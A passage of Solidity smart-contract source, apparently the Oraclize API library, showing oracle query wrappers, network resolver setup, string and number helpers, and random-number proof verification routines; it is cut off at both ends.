encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal constant {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal constant {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal constant {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal constant {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal constant returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal constant returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
if (prefix.length != n_random_bytes) throw;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
